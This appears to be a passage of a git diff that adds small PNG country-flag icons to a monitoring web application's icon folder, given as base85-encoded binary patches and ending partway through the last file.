a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/in.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/in.png new file mode 100644 index 0000000000000000000000000000000000000000..fca700e2f038bb67f444b6b267ed743480483b05 GIT binary patch literal 239 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqis&Sm7N50|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5Lf+8x?Bsne|`VlJ89pAOHblc=N;Oz z<M$*{4GaD=3=9k=o-U3d6}OTT+!=XP3L|GYH1zWN7#cQsilv2#rRZsEiHA<>oGH0V moY!Cx15*rJhd_t~LzXI2!B+KyZy6XE7(8A5T-G@yGywoLOhv;0 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/info.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/info.png new file mode 100644 index 0000000000000000000000000000000000000000..7bd40c2207e109193ca6308706e537d519703d78 GIT binary patch literal 381 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8=#{uelsFfqCYEI8=P86_ z=B6^_rWWZb7#b^Nm1gEC7#SECDj1qunV4Fc7%ONS7#bKn_FM6qfq{X&#M9T6{URGL zzkyX%*8^<^1_sUokH}&M2EM}}%y>M1MG6B0153K2uOkD)#(wTUiL49^3?TtNA+G=b z|4*BFhQZjF!8nZ}ZKiP=1B3BQV`GN2v@~N7#lT>Eh9T|$%rs-;wEr__rWwy<FitZ* z^WQjaCWG<JGiPQRpE+a9kaos6ZD!icnKO++^p3d~E;BGNFqQ=Q1v5B2yOGAgz>w<c z;uunKtM%MTz6J#zmVgBYT_J_>|Nq;seN<#vn74lNvd~xB-FH8UpZRHJdfnmsVT-ej zb~7!v#j-ohR}J5|Mq1$Eg4Ab|R6KYXKiu1KMeC-L(Y}Iji%tZT#hVE!egCu2HSBL1 Z`(|@ymlJ9Ry$lQt44$rjF6*2UngF@Hg#rKo literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/int.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/int.png new file mode 100644 index 0000000000000000000000000000000000000000..2f1a781cce9931bfa54e732bf5148626cbb3c5d8 GIT binary patch literal 310 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqis&Sm7N50|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{29*Gx5Lf1Xe<Y6nF*@@n;_9DiPyVz${F8q3 zPx+lc?ic=i|NH04mp|)X|GAlLv4nwvA>Y%*F{I*FZl5RL;Q$WjgKR!_-}mQxE?PCa zioHtijNH!K;qUmwKGel1+z=_TKaw}ebj2OxY2K+iLTM}3+04?u+4R$Ca^X3r$In6w zr>04T&R+T^A<ljFhQJ8nsH<Lgj`}QQRJ|YBlahNm|9RD$emn7-OkH^soa`AG7#KWV L{an^LB{Ts5{9Jh2 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/io.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/io.png new file mode 100644 index 0000000000000000000000000000000000000000..a64095c1c420f9028c4e8aa4b1febedaf8f45e7d GIT binary patch literal 351 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqis&Sm7N50|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{2Acq%5Z8|%f0UGLxOnbaU)PaMYmOKhO>uIX z6B@GM(l(V_NhSYe<=-t|FD6y8$t`DAO~F4VmNG6MCNq|2RV`6XF~_vkTNoG^8a!Pb zLn>~m_Av4tHsE09HN4Pb620sH|56v$(?Vi)1-~}j<P-?Gqp4i=Szz|<4>p$b-gq9& zXSaJ_(^~wlbE>6@_)*2MuX4(t%vP-xeG#@?wRV#DMX9bui#Xz%1j-Au%S04bu3e%k zB$xP5?OEcxir}XkndbDlubm^#Fx7Nl#UDn8vn*X)eb%WA3=9mOu6{1-oD!M<=$U?{ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ip.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ip.png new file mode 100644 index 0000000000000000000000000000000000000000..883082b099c70fc7d321718320109c9320320ee3 GIT binary patch literal 218 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-EuOVP>tniM3fq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}16zPki0l9V{}~t<LJwW8V_;xlED7=pW^j0R zBaMN9LB-R>F{I*FazX>Mn<IxVLyLl*gkr`Fiy225raCUXxa1+jOnwH{Zibm0Yk2oE QFfcH9y85}Sb4q9e0DY!B4gdfE literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/iq.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/iq.png new file mode 100644 index 0000000000000000000000000000000000000000..52251646d99aed33e229d8bc8a395fb0b1c8ba61 GIT binary patch literal 238 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqis&Sm7N50|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5LY836HZR<gRk~~|NSlVT;|;S^S-8~ zzGY_Z;qL)C$=K7yF{I+w)KeRI85DS!4<;N>`QO{Qz=-$J?#Xtiy7c|DGfai22nEOm k-3}7Ai|2jq_?>C0JkyznIh-397#J8lUHx3vIVCg!0ALwO&j0`b literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ir.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ir.png new file mode 100644 index 0000000000000000000000000000000000000000..51da41e7464562f5842fc2e43de47213d1ecd492 GIT binary patch literal 244 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqis&Sm7N50|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5ZCuQ+W*)%{>8@r`}O1Bg88W{3su^U z_^V{K!k?dIU|_KHba4!+xK(>Hkc&Zq!{wl_?)&=3Mye6^Qp~k1>OY=G)x~u%Pj=AX sd}n6T)tPEvR_m)SaJ#^BX>xAcbEc&`J90A^7#J8lUHx3vIVCg!0A-I(ZU6uP literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/is.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/is.png new file mode 100644 index 0000000000000000000000000000000000000000..d91c5830b3b6ce7723b978ac0e4198d2461d2c84 GIT binary patch literal 242 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqis&Sm7N50|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5LbEmmiPTr{-mY&`!8W(so%Hn_UAi~ z{|X2ctJPj$U|=x!ba4!+xHa{hAs>SRhx5fI*7x<vvmYomAKU)-KtRKip9zlM|6+pA q6d$(v!gH}$<W9OxSf@}bqt{zzh9x>5J~1#bFnGH9xvX<aXaWF7KTn<j literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/it.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/it.png new file mode 100644 index 0000000000000000000000000000000000000000..879296fe427df4e6f44db4efcc806b8fffec2c3c GIT binary patch literal 191 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-EuOVP>tniM3fq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}dHyfKP}kV-v^!|NsB;FoZw-Qp>==AnfVl7*cU7 mIUylIL?kFEX@M{=gUM0WjX$}3Ef^RW7(8A5T-G@yGywp<;xpF( literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/jm.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/jm.png new file mode 100644 index 0000000000000000000000000000000000000000..980f613896eb0dd94b66868dd7cf529abef78734 GIT binary patch literal 262 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqis&Sm7N50|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5Z4diS=eW=q#R(`b)CiEpJm-T7It=) z2@_bp+_}xez`)?`>EaktaVxYxkney3hx2`x(|_}Aj&*R!w}^X0Z+O0nQO0P7ftlqb z(Pr%p7JO4zw6>lwPo3QS^1-9{d&f6#@XUQ|l4a<0ILhM|xBi8zjNeZb?Dt||U|{fc L^>bP0l+XkKKr2-) literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/jo.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/jo.png new file mode 100644 index 0000000000000000000000000000000000000000..90f6cc53d7310f5e5a336a48b11713c1e94be7ae GIT binary patch literal 246 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqis&Sm7N50|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5Le#0eBFF3XIR;yBAnkWUiA0p_d9+8 ztV}FAf0iXNFfdqqx;TbZ+^Rhj$;F_+!+g;sZ14ZxwbENy=k8}$e4*%}qB$`|Y3Up@ u&$Zf%UzJoF^sa5X{i}5`v%(J(hNK%z>2d$84>K?@FnGH9xvX<aXaWEYqfEO1 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/jp.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/jp.png new file mode 100644 index 0000000000000000000000000000000000000000..8655f75f9d879b857ca6561a5bc191502905d0a0 GIT binary patch literal 248 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqis&Sm7N50|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5Z8bI{`|Xk<6r-Te+%aSd-&jAb>%-M zmVXiw_4}hfGcYjNdb&7<RNQJk=gG&Qz`^Wr?bm<#)sC)w$L^_3V7h3(EKBoXhX~`Y x8%?@LA~t&U8J_yI&g!b&)5;l7>mJYKn_<paw3gX2lYxPO!PC{xWt~$(695dCRy_a! literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ke.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ke.png new file mode 100644 index 0000000000000000000000000000000000000000..a4eb346e679f4500b2b2f1ab37bfd40d437da7e4 GIT binary patch literal 250 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqis&Sm7N50|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5Lf9I6Gv~oV*x>5E?z#fWXaw7mV+V+ z;(P+vUT>;pU|_KKba4!+xYgU^$i<+@!<@Y3*MIrdof|~IJrM9<_cGA?u-x_LDy~hD xub1gwZPfGFUaH|a^J}$Tu;4r+6(d%CpXG+ktV)uMx(o~q44$rjF6*2UngHTOOtJs~ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/kg.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/kg.png new file mode 100644 index 0000000000000000000000000000000000000000..c765f8334b3a68dbd7443a74aadfd3c7d1584124 GIT binary patch literal 253 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqis&Sm7N50|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5Z8aqEdTUb{%vIWcY)<!9?QSaEdQcd z{!L?fJK^;U1_lNvPZ!6Kid(IHj(iM?JWQ-h{`^1w+V%BOo$V)0S`Gg-M`mb6+4Q&; z^_d7~zK&Sfvn}QJB#-a<x57%_TFu>2e&@p(_Sj7f*C&Z)9Asc%VDNPHb6Mw<&;$TY ChF13g literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/kh.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/kh.png new file mode 100644 index 0000000000000000000000000000000000000000..d43f0606cc9cdc11279f12ffecedf8107c2e966c GIT binary patch literal 239 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqis&Sm7N50|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5LXWAB~?73Us%}w)HnTGzv-8~<1Y<^ zjqJKTKQGK-U|=xuba4!+xHa{hBOikT2eacA-GBd&v-yhjy~)kXzLq&PXPVyAPc9r6 n)K9vw{uS)ub6@#&2ji@tjKNN8W_@E|U|{fc^>bP0l+XkKxv)&3 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ki.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ki.png new file mode 100644 index 0000000000000000000000000000000000000000..2de878512fc13d957881956e9c986a1d35281fb1 GIT binary patch literal 336 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqis&Sm7N50|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{2Acq%5LZ6FgW1`)u3Y)DVeM%xt<xSJ7vH}5 z)Z6>$UscULX|B(`jX!?y{b6P~s>^m{1<NTXmUTre_wKQ5n830zfJK3$<`M$~L!qaO zV@Sm<*UoOC!wMWMf-K1mM~?shpM6nH*H~t|&WxG6*Uy-k(EZ+Qd3g1Onx3a|Cg0!J zzRCG_+^TB-JNa$vZXNHg%RF;U!QIw1#PwVi#}g%0W5xGO8(k+zmUDKW7JA;28Ob+W kh|7@E!G^J;NTiK_6(hT8G_UST1_lNOPgg&ebxsLQ0A^}=)&Kwi literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/km.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/km.png new file mode 100644 index 0000000000000000000000000000000000000000..335526d09de36727717b94beeb9a491fbdcf2a64 GIT binary patch literal 260 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqis&Sm7N50|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{2L1q_5ZC|z|8tz>N_vp^`uFSkZ{}ZUT%O0k zz`$4%<QL4~@a#q!0|SGrr;B4q#jVi3NHGQl4kq3`|7R{<;%fKBH%Vx*<|@O`2B!{% zO0QQhXKh?7K6z`#lVcY@m}gI^h+la0MZ3)59iQf$epqsirKp5a@^g1B4+8@OgQu&X J%Q~loCIFMSS$qHh literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/kn.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/kn.png new file mode 100644 index 0000000000000000000000000000000000000000..be2d80159f6348fd9b2284a3f74152030f15a70e GIT binary patch literal 305 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqjHtM4*C!fq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gF%2#h$|~AtG>SAyN@h;Hkj2jvs}H*GQ)^v zkrzuqfKX4q)TK*TIyzi}R<bbFu}E~W%sIy*pLe&6fq@~;)5S5Q;+E@aPo@J394rSJ zFLu2CUoYJe`21SN!uP)C82(8Z3i+AMJ8<%tsQKJbdx1F{HwHDFd68_W6cQFAX2JO; z=xThjkJ7T0Ea{Fp|FngtgqB%VKT%;#x6a&{ug_7<{3VntIhBEdfx*+&&t;ucLK6Uj CLt%jc literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/kp.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/kp.png new file mode 100644 index 0000000000000000000000000000000000000000..24305253368d6483f16fc50570ed50df78e0fffc GIT binary patch literal 272 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqjHtM4*C!fq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gGzu;h$|D*n!LOVw@XSNb$9P$V)^_1>*uT2 z&skX<5f*&CcFidbjcf6V$_G@JGB7ZBdb&7<RNSiVbL49<;9wCHi`w=7|9aEVPC2XU zSuA2M+hpWhyyh0TGNf2-oRM|zL!8xxli|vSd#+rGy7D2W?^{T0_?a)y{vVqr{FRr< T_*%30Z3d93u6{1-oD!M<cq?7$ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/kr.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/kr.png new file mode 100644 index 0000000000000000000000000000000000000000..48098aa67532b3d0c9f21f823be6b68f43e1899a GIT binary patch literal 270 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqjHtM4*C!fq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gG7K&i0iMPKdzm>T#%l3bnDJ#Q|6j0_kU*R z{T>;q=`ESSz`zjf>EaktajVuZn(Kf8kI}P>zwcL=on7!Ixv@j(BE$dWEs2hdnkMXX zzVNn%hI;31*%&%CdEF7?;=P&f#{~JF$q5JdFS?QDZn*4(L~q^xkF}d#r^z=sGFpf? TS2Qs&Ffe$!`njxgN@xNAClOoi literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/kw.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/kw.png new file mode 100644 index 0000000000000000000000000000000000000000..94fc856dac5878b0f3af6e0e2c66fc708cbec62f GIT binary patch literal 234 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqjHtM4*C!fq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gG7K&h-;sW%uhaUK5p(~N00pb^NVFNN7}v| zPCrhePakX;7#Q?DT^vIyZcROI$iyJP!+gLb<lp~f9aXdKvQx|h;_RkQw>*{i`swb% hHHW0HZ8&7b=(L_Gea){A_6!UR44$rjF6*2UngCMVNB95$ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ky.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ky.png new file mode 100644 index 0000000000000000000000000000000000000000..e27858268ecbacc190812a2904bec4059d182a7a GIT binary patch literal 309 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqjHtM4*C!fq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gF%2#h$}Pmp5lUQS1%mS2wwf=+h+&kecPs5 zRc)Jcdc%^etJCv)`+Kb`FIKjnn6!MqZ_GX>mj1ArPZ<~(l001;Ln?07p7G>6Y{26j zm{s)FCFEWGZ7vU{@~itFF|#yoa7uZwE<<#S`-wANY5EHpuE(A}%bPN78Ot61@C|Ev z)DInBaJb-`-;DDs|JCKJ`+C?e?zmb>&9OTsq5ZxcT>rka&dgxCw?<$!Hv<C$gQu&X J%Q~loCIInQbPE6g literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/kz.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/kz.png new file mode 100644 index 0000000000000000000000000000000000000000..b158cd9bf812eb34e69c6ffa48fc2aff6c290470 GIT binary patch literal 291 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqjHtM4*C!fq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gGzu;h--CqtEA*}CZ<1Y)&%wT7HMf+$;g=Q z=C(5`YVn~%Hh=%J+_|H``})Oh1_p*0PZ!6Kid&)mfqVxHIGkQ?@w)r>{q9x1+kQSZ zW)YCMp02QY`aY&!my-#t!O4b!-cQS0)Qm3XE<RJZ=16!;?rb+zm)iC2Yy6fk3$>gr p{c`5*pU$fea8`N$`}qG5Gj}{w*}|T92L=WP22WQ%mvv4FO#oCjXW;+< literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/la.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/la.png new file mode 100644 index 0000000000000000000000000000000000000000..7550211f9c6fa2f940c82ec5b08abe47db097858 GIT binary patch literal 239 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqjHtM4*C!fq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gG7K&i0eNlmU(g^c2;Xb0=CSYdhz$~-ziCZ zqKu}fzf$02U|=xuba4!+xRsosz`9{E1Dl#bLUJPWWdS{DZEbDirqfJMHa&P^#Jtm^ mYUYf{8HzD(A`X+J85g)SMw+jRzrw)4z~JfX=d#Wzp$Pz%=tfci literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/lb.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/lb.png new file mode 100644 index 0000000000000000000000000000000000000000..2996d750b886186bc15011479cd0a52d3a9aaa7d GIT binary patch literal 265 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqjHtM4*C!fq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gGzu;i0eNlmVeWx-0dzo))w>k-|wkUrg&U* z=RC+=bgSgTmkY`#RCm4G6L^jPGXn#Ilc$SgNX4zGy^cZ$6gZe0xg7ugug_k5b#wK} z9KOyIyk0qNUOx*|HV0I5|F|ZVd!ha-gFt0TMPBO0WfjR;=WTX9WIb|%@t*q$+iC^| O1_n=8KbLh*2~7ZmbzTJk literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/lc.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/lc.png new file mode 100644 index 0000000000000000000000000000000000000000..d6ae67b86138c212729ba14807cb91264d127d5c GIT binary patch literal 273 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqjHtM4*C!fq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gGzu;h$|D*A5G1#t*zNrRdJ_IMg0EFvS*LY zq)8W)lw{c1*}c6j!ovPcj<>I6U|{g_ba4!+xRu)%$aTPg!+G_!TQB~;-+k)FvJFS( zA8&pjv45dkBJWzoPWP$Oq0$QXBP;^GOl0+Z@cfZ%($%f<w#(D5*}9$4x%n^S8B=Q| WW9x)gV?_oA1_n=8KbLh*2~7ZPv0XL* literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/li.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/li.png new file mode 100644 index 0000000000000000000000000000000000000000..1a601d98018c14d798aaff507d5db9373bc30874 GIT binary patch literal 231 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqjHtM4*C!fq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gG7K&i0dCFRt}b`k`jZ!K%b{iSq>dy>FH5e zv4Ur!Y*aS`1A~sIi(^Q|t>gq3MxLIYGbduq#KOeNSf+EHNOdll85t2VW5QRXg;K3a dMtd0;;ubMX|Gs98Hv<C$gQu&X%Q~loCIIgALr4Gs literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/lk.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/lk.png new file mode 100644 index 0000000000000000000000000000000000000000..151784089b40dbd67052d74fe27ad16b8c8e5ce6 GIT binary patch literal 287 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqjHtM4*C!fq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gGzu;i0jv%EKeV>+_=D!b%=#&8q16(mVa3+ z|7NjlUB=Ru!*XmFOLaa=?Bk#F85kHMJY5_^DsK7q1@av*;BY$H8}|0^d+WP7R{JUx z1zZ?97O7s}d(5Q%sK=8TIa~O(4HnB^$vCraa@60smqZ(zwO00?p7_Ok<ra(6^X{2_ m<9#1qd#QLspR@N%x#LnSp?VVQW->4^FnGH9xvX<aXaWF9qh(Y8 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/lr.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/lr.png new file mode 100644 index 0000000000000000000000000000000000000000..4cd00f35136056995ca188beb7ac6a1c13867c11 GIT binary patch literal 257 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqjHtM4*C!fq}EYBeIx*fm;ZK z886+f`@_J%z>@Ch>&U>cv7h@-A}a#}gG7K&i0i++?C*knA1BWEykW=BoA>_y{p~1! zBQNOw;{=}%3=9lzo-U3d6}Mu08o3TQa5(KX`u*QNj<;;_JS7&jkU88-MD#t3J}Q?p zUfX7ORwSjww8QkN&fbenyc-f&)-$Cu6#tLeSfBoz@#<{G-QkrYrx+L*7(8A5T-G@y GGywqL<yLqA literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ls.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ls.png new file mode 100644 index 0000000000000000000000000000000000000000..8fff8816a04759cb3909c12dadc8bd7e2d6d3108 GIT binary patch literal 281 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqjHtM4*C!fq}EYBeIx*fm;ZK 